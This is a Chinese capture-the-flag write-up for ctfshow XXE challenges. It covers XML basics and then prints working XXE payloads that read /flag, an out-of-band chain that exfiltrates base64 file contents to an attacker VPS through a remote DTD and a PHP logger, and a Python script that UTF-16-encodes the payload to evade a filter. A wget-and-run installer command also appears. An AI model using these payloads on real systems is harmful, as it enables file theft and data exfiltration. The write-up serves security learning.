ctfshow web入门 XXE

XXE基础知识

        XXE(XML External Entity)攻击是一种针对XML处理漏洞的网络安全攻击手段。攻击者利用应用程序在解析XML输入时的漏洞,构造恶意的XML数据,进而实现各种恶意目的。

所以要学习xxe就需要了解xml

xml相关:

XML,全称为可扩展标记语言(Extensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言。它属于标准通用标记语言的子集,通过此种标记,计算机之间可以处理包含各种信息的数据,比如文章等。XML非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。它是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。

XML的特性和语法包括:

  1. XML是大小写敏感的。
  2. XML只有单个标签而没有相对应的结束标签的元素必须以“/”结尾,否则结束标签绝对不能省略。
  3. XML中的属性值必须使用引号,例如“width=‘300’”,不能写成“width=300”。
  4. XML中所有的属性必须都有属性值。
  5. XML文档应当以一个文档头开始,文档头可选,但是强烈建议使用。例如:“<?xml version=‘1.0’?>”或“<?xml version=‘1.0’ encoding=‘UTF-8’?>”。
  6. XML文档的正文包含根元素,根元素包含其他元素。元素可以有子元素、文本或者两者皆有。

XML文档由两部分构成:第一部分是文档序言,第二部分是文档元素(节点)。文档序言通常位于XML文档的顶端,根元素之前出现,它是一个特定的包含XML文档设定信息的部分。XML文档序言主要由XML声明、文档类型定义(DTD)和XML Schema组成。XML声明用来设置XML文档解析时所需的基本参数,包括版本号、编码方式等。DTD定义了文档的整体结构以及文档的语法,应用广泛并有丰富工具支持。XML Schema则用于定义管理信息等更强大、更丰富的特征。

XML的用途非常广泛,主要包括:

  1. 存储数据:XML可以用于持久化保存需要长期存储的数据,例如web应用程序中的各种配置文件(如web.xml和bean.xml)。
  2. 分离数据:XML能将数据和展现形式相分离,使数据的组织者和展示者能更专注于各自的任务。
  3. 交换数据:XML可以在不兼容的系统之间交换数据,因为XML是纯文本格式,不受软件和硬件的限制。
  4. 共享数据:XML提供了一种简单的数据共享方式,因为任何应用程序都可以读取和解析XML文件。

总的来说,XML是一种强大且灵活的数据标记语言,它广泛应用于各种需要结构化数据处理的场景,特别是在Web开发、数据交换和配置文件管理等领域。

xml相似于html,但是它可以自定义标签

XML 和 HTML 为不同的目的而设计:

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。

XXE:

       首先,攻击者会寻找那些存在XXE漏洞的应用程序作为攻击目标。这些应用程序可能没有正确限制或验证XML输入中的外部实体引用。

        一旦找到了目标,攻击者会开始构造恶意的XML输入。这通常涉及到在XML文档中定义外部实体,这些实体指向攻击者想要访问或控制的资源,如文件、URL或其他后端系统。

        然后,攻击者将这些恶意的XML输入发送给目标应用程序。当应用程序解析这些XML数据时,它会尝试加载并包含这些外部实体引用的内容。由于应用程序没有正确地限制或验证这些引用,它可能会执行攻击者指定的恶意操作。

        通过XXE攻击,攻击者可以实现多种恶意目的。例如,他们可以读取目标服务器上的敏感文件,如配置文件、密码文件或数据库凭据。这些文件通常包含有关应用程序配置、用户凭证或其他重要信息,对攻击者来说具有很高的价值。

       此外,攻击者还可以利用XXE攻击发起服务器端请求伪造(SSRF)攻击,进一步探索和利用目标应用程序的内部网络结构。通过构造特定的XML输入,攻击者可以使应用程序发起对内部网络资源的请求,从而获取更多关于目标系统的信息。

      在某些情况下,攻击者甚至可以利用XXE漏洞执行远程代码。他们可以在XML输入中嵌入恶意代码,通过应用程序的XML解析器执行这些代码,进而实现对目标系统的完全控制。

      总的来说,从攻击者的角度来看,XXE攻击是一种利用应用程序对XML处理不当的漏洞,通过构造恶意的XML输入来实现各种恶意目的的攻击手段。为了防范XXE攻击,应用程序需要正确验证和限制XML输入中的外部实体引用,并采取其他必要的安全措施。

web 373

抓包

POST传参

这里不能使用Hackbar

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

只是简单的例题

web 374、375、376

三道题基本上相似

属于无回显类型

区别是:

375过滤xml和version

376过滤大小写

构建一条带外信道提取数据

在公网上上创建1.php

<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}

1.xml

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

抓包,发送

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://[vps-ip]/xxe.dtd">
%aaa;
]>
<root>123</root>

即得

记录创建网站过程:

(自己摸索的过程有点艰难)

选择了阿里云ECS试用

注册登录领取

选择Centos操作系统

然后找到控制台实例

 显示没有记录的话查找其他区域就有了

打开后进行操作命令安装宝塔面板

yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh

安装完成界面最后会显示网址、用户名、密码

网站在这个时候还不能打开,需要在控制台安全组手动添加端口

添加完成后再登网页

登录宝塔

添加网站

web 377

比上一题多了http过滤,把web374的payload转为utf-16编码

import requests
url = 'http://0ec4fe9d-6949-4e9d-a3b1-70be3bb3f01b.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://[vps-ip]/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web 378

 抓包看看

发现是有回显的

 payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/782589.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算数组元素中每个元素与其之前各元素的累积乘积ndarray.cumprod()

【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 计算数组元素中每个元素 与其之前各元素的累积乘积 ndarray.cumprod() 选择题 关于以下代码输出的结果说法正确的是&#xff1f; import numpy as np a np.array([2,4,6]) print(【显示】a ,…

彩虹外链网盘界面UI美化版超级简洁好看

彩虹外链网盘界面UI美化版 彩虹外链网盘&#xff0c;是一款PHP网盘与外链分享程序&#xff0c;支持所有格式文件的上传&#xff0c;可以生成文件外链、图片外链、音乐视频外链&#xff0c;生成外链同时自动生成相应的UBB代码和HTML代码&#xff0c;还可支持文本、图片、音乐、…

Diffusion添加噪声noise的方式有哪些?怎么向图像中添加噪声?

添加噪声的方式大致分为两种&#xff0c;一种是每张图像在任意timestep都加入一样的均匀噪声&#xff0c;另一种是按照timestep添加不同程度的噪声 一、在任意timestep都加入一样的noise batch_size 32x_start torch.rand(batch_size,3,256,256) noise torch.randn_like(x_…

css的各种样式

一&#xff0c;css的样式选择器 1.1 字体相关 font font-fanmily 字体的样式默认为黑体font-size 字体大小font-style 字体风格 斜体font-width 字体的宽度 默认为400 1.2 文本相关 text-transform capitalize 首字母大写lowercase 全部小写uppercase 全部大写 text-alig…

.NET DES加密算法实现

简介&#xff1a; DES&#xff08;Data Encryption Standard&#xff09;加密算法作为一种历史悠久的对称加密算法&#xff0c;自1972年由美国国家标准局&#xff08;NBS&#xff09;发布以来&#xff0c;广泛应用于各种数据安全场景。本文将从算法原理、优缺点及替代方案等方…

XUbuntu22.04之激活Linux最新Typora版本(二百二十五)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

技巧 Win10电脑打开SMB协议共享文件,手机端查看

一. 打开 SMB1.0/CIFS文件共享支持 ⏹如下图所示&#xff0c;打开SMB1.0/CIFS文件共享支持 二. 开启网络发现 ⏹开启网络发现&#xff0c;确保共享的文件能在局域网内被发现 三. 共享文件夹到局域网 ⏹根据需要勾选需要共享的文件夹&#xff0c;共享到局域网 四. 共享文件查…

Linux重点思考(下)--shell脚本使用以及内核开发

Linux重点思考(下&#xff09;--shell脚本使用和组合拳 shell脚本的基础算法shell脚本写123...n的值&#xff0c;说思路Shell 脚本用于执行服务器性能测试的死循环Shell 脚本备份和定时清理垃圾文件 shell脚本的内核开发正向映射反向映射 shell脚本的基础算法 shell脚本写123……

单点登录原理与实现方案探究(二)

本系列文章简介&#xff1a; 本系列文章将深入探究Java中的单点登录原理与实现方案。首先&#xff0c;我们将介绍单点登录的基本原理&#xff0c;探讨其在多应用环境下的工作流程。然后&#xff0c;我们将详细讨论目前流行的三种单点登录实现方案我们将分析每种实现方案的优缺点…

WARNING: No output specified with docker-container driver

这个警告信息是说 docker build 出现的&#xff0c;指出你没有指定任何输出目的地&#xff0c;因此构建后的镜像不会被持久保存&#xff0c;只会存留在构建缓存中。以至于后面 docker tag 命令会找不到镜像&#xff0c;从而导致build 和push流程失败. 两种解决的做法&#xff…

JDBC远程连接mysql报错:NotBefore: Sat Mar 30 16:37:41 UTC 2024

虚拟机docker已经部署了mysql&#xff0c;用navicat可以直接远程连接&#xff0c;datagrip却不能&#xff0c;如图&#xff1a; 需要在最后加上 ?useSSLfalse , 如&#xff1a;jdbc:mysql://192.168.30.128:3306?useSSLfalse navicat不用加的原因是没有使用jdbc连接&#x…

java数据结构与算法刷题-----LeetCode1091. 二进制矩阵中的最短路径

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 文章目录 广度优先双分裂蛇 广度优先双分裂蛇 双分裂蛇&#xff1a;是求二…

Linux 学习之路--工具篇--yum

前面介绍了权限有关的内容&#xff0c;这里继续介绍有关Linux里面常用的工具之一yum 目录 一、简单介绍 <1> 源代码安装 <2>rpm 包安装 <3>yum / apt-get(ubuntu) 安装 二、简单使用 <1>安装包介绍 <2> yum 的基本指令 -- install <…

C++:数据类型—布尔(12)

布尔类型代表就是真和假&#xff08;bool&#xff09; 真就是1&#xff08;true&#xff09; 假就是0&#xff08;false&#xff09; 也可以任务非0即为真 bool 直占用1个字节大小 语法&#xff1a;bool 变量名 (true | false&#xff09; 提示&#xff1a;bool在后期判断也是…

2024年150道高频Java面试题(十)

19. 解释一下 Java 中的封装、继承和多态。 封装、继承和多态是面向对象编程&#xff08;OOP&#xff09;的三个核心概念&#xff0c;在Java中得到了广泛应用。 封装&#xff1a; 概念&#xff1a;封装是指隐藏一个对象的内部细节&#xff0c;仅对外暴露需要公开的部分。这可以…

Capture One Pro 23中文---颠覆性的图像编辑与色彩配置

Capture One Pro 23是一款功能强大且专业的RAW图像编辑处理软件。它拥有全球领先的色彩管理技术和精细的图像编辑工具&#xff0c;可以对图片进行多种精细调整&#xff0c;包括曝光、色温、对比度、锐度等&#xff0c;以满足用户特定的后期处理需求。此外&#xff0c;Capture O…

第二百三十一回

文章目录 1. 概念介绍2. 符号和平台2.1 符号2.2 平台 3. 问题与解决3.1 常见问题3.2 解决方法 4.内容总结 我们在上一章回中介绍了"关于intl报错的问题"相关的内容&#xff0c;本章回中将介绍不同平台上换行的问题.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1…

Excel函数-总

目录 1.概述 2.数组公式 2.1.数组的类别 2.2.数组的构成元素 2.3.数组运算时需要用到的运算符 3.数学与三角函数 3.1.RANDBETWEEN 3.2.ABS 3.3.MOD 3.4.PI ​​​​​​​3.5.PRODUCT ​​​​​​​3.6.RADIANS ​​​​​​​3.7.DEGREES ​​​​​​​3.8.POWER ​​​​​…

FastAPI+React全栈开发17 让我们创建一个React应用

Chapter04 Setting Up a React Workflow 17 Let’s Create a React App FastAPIReact全栈开发17 让我们创建一个React应用 As I mentioned earlier, create-react-app takes away much of the heavy work when starting a project, and we will be using it throughout this…

Python中对象的创建于使用

创建对象 在Python中&#xff0c;创建对象是通过实例化类来完成的。一个类是一个包含属性和方法的蓝图&#xff0c;它定义了一种对象的行为和特征。我们可以使用class关键字来定义一个类&#xff0c;然后使用类的名称和括号来实例化对象。 以下是一个创建对象的例子&#xff…